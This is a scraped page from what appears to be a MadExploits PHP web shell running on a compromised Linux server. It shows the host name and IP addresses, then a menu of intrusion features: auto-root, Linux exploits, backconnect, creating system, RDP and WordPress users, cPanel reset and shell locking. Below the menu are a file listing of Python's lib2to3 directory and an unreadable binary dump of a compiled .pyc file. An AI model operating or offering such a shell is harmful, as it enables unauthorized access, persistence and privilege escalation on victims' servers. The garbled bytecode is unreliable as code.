Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.117.192.205
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
lib2to3 /
[ HOME SHELL ]
Name
Size
Permission
Action
fixes
[ DIR ]
drwxr-xr-x
pgen2
[ DIR ]
drwxr-xr-x
Grammar.txt
6.43
KB
-rw-r--r--
Grammar2.7.5.final.0.pickle
19.75
KB
-rw-r--r--
PatternGrammar.txt
793
B
-rw-r--r--
PatternGrammar2.7.5.final.0.pi...
1.35
KB
-rw-r--r--
__init__.py
7
B
-rw-r--r--
__init__.pyc
127
B
-rw-r--r--
__init__.pyo
127
B
-rw-r--r--
__main__.py
67
B
-rw-r--r--
__main__.pyc
242
B
-rw-r--r--
__main__.pyo
242
B
-rw-r--r--
btm_matcher.py
6.67
KB
-rw-r--r--
btm_matcher.pyc
5.69
KB
-rw-r--r--
btm_matcher.pyo
5.69
KB
-rw-r--r--
btm_utils.py
9.78
KB
-rw-r--r--
btm_utils.pyc
7.39
KB
-rw-r--r--
btm_utils.pyo
7.39
KB
-rw-r--r--
fixer_base.py
6.69
KB
-rw-r--r--
fixer_base.pyc
7.09
KB
-rw-r--r--
fixer_base.pyo
7.09
KB
-rw-r--r--
fixer_util.py
14.25
KB
-rw-r--r--
fixer_util.pyc
14.34
KB
-rw-r--r--
fixer_util.pyo
14.34
KB
-rw-r--r--
main.py
11.33
KB
-rw-r--r--
main.pyc
9.6
KB
-rw-r--r--
main.pyo
9.56
KB
-rw-r--r--
patcomp.py
6.92
KB
-rw-r--r--
patcomp.pyc
6.51
KB
-rw-r--r--
patcomp.pyo
6.21
KB
-rw-r--r--
pygram.py
1.09
KB
-rw-r--r--
pygram.pyc
1.38
KB
-rw-r--r--
pygram.pyo
1.38
KB
-rw-r--r--
pytree.py
28.36
KB
-rw-r--r--
pytree.pyc
29.59
KB
-rw-r--r--
pytree.pyo
28.73
KB
-rw-r--r--
refactor.py
27.41
KB
-rw-r--r--
refactor.pyc
23.4
KB
-rw-r--r--
refactor.pyo
23.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : btm_matcher.pyc
� o��fc @ s� d Z d Z d d l Z d d l Z d d l m Z d d l m Z d d l m Z d e f d � � YZ d e f d � � YZ i a d � Z d S( s� A bottom-up tree matching algorithm implementation meant to speed up 2to3's matching process. After the tree patterns are reduced to their rarest linear path, a linear Aho-Corasick automaton is created. The linear automaton traverses the linear paths from the leaves to the root of the AST and returns a set of nodes for further matching. This reduces significantly the number of candidate nodes.s+ George Boutsioukis <gboutsioukis@gmail.com>i����N( t defaultdicti ( t pytree( t reduce_treet BMNodec B s# e Z d Z e j � Z d � Z RS( s? Class for a node of the Aho-Corasick automaton used in matchingc C s1 i | _ g | _ t t j � | _ d | _ d S( Nt ( t transition_tablet fixerst nextR t countt idt content( t self( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyt __init__ s ( t __name__t __module__t __doc__t itertoolsR R ( ( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyR s t BottomMatcherc B s; e Z d Z d � Z d � Z d � Z d � Z d � Z RS( sg The main matcher class. After instantiating the patterns should be added using the add_fixer methodc C sF t � | _ t � | _ | j g | _ g | _ t j d � | _ d S( Nt RefactoringTool( t sett matchR t roott nodesR t loggingt getLoggert logger( R ( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyR s c C sh | j j | � t | j � } | j � } | j | d | j �} x | D] } | j j | � qJ Wd S( s� Reduces a fixer's pattern tree to a linear path and adds it to the matcher(a common Aho-Corasick automaton). The fixer is appended on the matching states and called when they are reachedt startN( R t appendR t pattern_treet get_linear_subpatternt addR ( R t fixert treet lineart match_nodest match_node( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyt add_fixer% s c C s� | s | g St | d t � r� g } xU | d D]I } | j | d | �} x+ | D]# } | j | j | d | � � qS Wq1 W| S| d | j k r� t � } | | j | d <n | j | d } | d r� | j | d d | �} n | g } | Sd S( s5 Recursively adds a linear pattern to the AC automatoni R i N( t isinstancet tupleR t extendR R ( R t patternR R" t alternativet end_nodest endt next_node( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyR 1 s" % c C s� | j } t t � } x�| D]y} | } xj| r�t | _ x? | j D]4 } t | t j � rD | j d k rD t | _ PqD qD W| j d k r� | j } n | j } | | j k r� | j | } x� | j D]0 } | | k r� g | | <n | | j | � q� Wn� | j } | j d k r%| j j r%Pn | | j k r�| j | } xD | j D]6 } | | j � k rpg | | <n | | j | � qKWn | j } q+ Wq W| S( su The main interface with the bottom matcher. The tree is traversed from the bottom using the constructed automaton. Nodes are only checked once as the tree is retraversed. When the automaton fails, we give it one more shot(in case the above tree matches as a whole with the rejected leaf), then we break for the next leaf. There is the special case of multiple arguments(see code comments) where we recheck the nodes Args: The leaves of the AST tree to be matched Returns: A dictionary of node matches with fixers as the keys u ;i N( R R t listt Truet was_checkedt childrenR% R t Leaft valuet Falset typeR R R t parentt Nonet keys( R t leavest current_ac_nodet resultst leaft current_ast_nodet childt node_tokenR ( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyt runS s> ! c s* d GH� f d � � � | j � d GHd S( s< Prints a graphviz diagram of the BM automaton(for debugging)s digraph g{c sv xo | j j � D]^ } | j | } d | j | j t | � t | j � f GH| d k rd | j GHn � | � q Wd S( Ns %d -> %d [label=%s] //%si ( R R7 R t type_reprt strR R ( t nodet subnode_keyt subnode( t print_node( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyRE � s ' t }N( R ( R ( ( RE s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyt print_ac� s ( R R R R R$ R R? RG ( ( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyR s " =c C sh t sX d d l m } x? | j j � D]+ \ } } t | � t k r& | t | <q& q& Wn t j | | � S( Ni ( t python_symbols( t _type_reprst pygramRH t __dict__t itemsR4 t intt setdefault( t type_numRH t namet val( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyR@ � s ( R t __author__R R t collectionsR R R t btm_utilsR t objectR R RI R@ ( ( ( s+ /usr/lib64/python2.7/lib2to3/btm_matcher.pyt <module> s �
Close
